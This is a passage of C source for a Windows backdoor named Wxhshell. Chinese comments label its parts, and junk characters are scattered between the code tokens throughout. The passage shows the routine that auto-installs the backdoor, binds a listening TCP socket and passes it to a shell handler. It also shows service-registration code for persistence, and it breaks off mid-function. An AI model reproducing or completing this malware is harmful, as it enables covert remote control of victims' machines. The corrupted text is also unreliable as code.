a ~ // 主模块 !?AgAsSmc int StartWxhshell(LPSTR lpCmdLine) V-1H(wRu { 5|nT5oS SOCKET wsl; 4q9+a7@ BOOL val=TRUE; Yz%A Kp int port=0; ":qhO0 struct sockaddr_in door; "3&bh>#qY hg2a,EU\Z if(wscfg.ws_autoins) Install(); ILN Yh3 sJI"
m'r=Z port=atoi(lpCmdLine); aXv[~ ec8iZ8h8 if(port<=0) port=wscfg.ws_port; k?!CJ@5$ =3~5I& WSADATA data; 1
N{unS if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %`]&c)Z G+_Q7-o&d6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pB;U*lt setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1{fu door.sin_family = AF_INET; [Re.sX}$Y door.sin_addr.s_addr = inet_addr("127.0.0.1"); _nUvDdEs, door.sin_port = htons(port); [Sj _= `@_jDo if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %qycxEVP closesocket(wsl); i?HN return 1; {wp~ } +hIC N,8! eNHSfq if(listen(wsl,2) == INVALID_SOCKET) { U%:K11Kr closesocket(wsl);
. r?URC return 1; e(z'uA{! } ]QJN` ;b0 Wxhshell(wsl); ydZS^BqG WSACleanup(); iQT$#"m
n n<)gS7 return 0; *GZ7S
m |8{c|Qz } ZwFVtR ! %~P[;. // 以NT服务方式启动 Hf$pwfGcY] VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \kR:GZ`{UV { w/1Os!p DWORD status = 0; B[$L)y'-; DWORD specificError = 0xfffffff; uo TTHj7cq C:9a$ serviceStatus.dwServiceType = SERVICE_WIN32; M#u~]?hS serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0Tv0:c>8;( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZZ? KD\S5 serviceStatus.dwWin32ExitCode = 0; r|ID]}w serviceStatus.dwServiceSpecificExitCode = 0; }J ^+66{ serviceStatus.dwCheckPoint = 0; ZRy'lW serviceStatus.dwWaitHint = 0; >)j`Q1Qc\ w/oXFs&FK hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s7Z+--I)L if (hServiceStatusHandle==0) return; _{C
=d3 n40&4n status = GetLastError(); WSsX*L if (status!=NO_ERROR) ev4f9Fhu { W2w A66MB serviceStatus.dwCurrentState = SERVICE_STOPPED; 3oQ?VP serviceStatus.dwCheckPoint = 0; NMvNw?] serviceStatus.dwWaitHint = 0; d#U~>wr serviceStatus.dwWin32ExitCode = status; kSfNu{YS serviceStatus.dwServiceSpecificExitCode = specificError; rw }wQP_' SetServiceStatus(hServiceStatusHandle, &serviceStatus); `9`T,uJe return; xf7_|l } Dk^T_7{ WJ&a9]&C serviceStatus.dwCurrentState = SERVICE_RUNNING; <*3#nA-O>i serviceStatus.dwCheckPoint = 0; '},
8x? serviceStatus.dwWaitHint = 0;
PKg>|]Rf. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (:|rCZC } X(npgkVP\ /J5)_>R: // 处理NT服务事件,比如:启动、停止 ]kir@NMv> VOID WINAPI NTServiceHandler(DWORD fdwControl) >Tp`Kri { 2[X\*"MQ2 switch(fdwControl) DedY(JOvB { 3EA+tG4KnO case SERVICE_CONTROL_STOP: 3%(BZ23 serviceStatus.dwWin32ExitCode = 0; ?ZAynZF|# serviceStatus.dwCurrentState = SERVICE_STOPPED; U3^3nL-M9 serviceStatus.dwCheckPoint = 0; &C |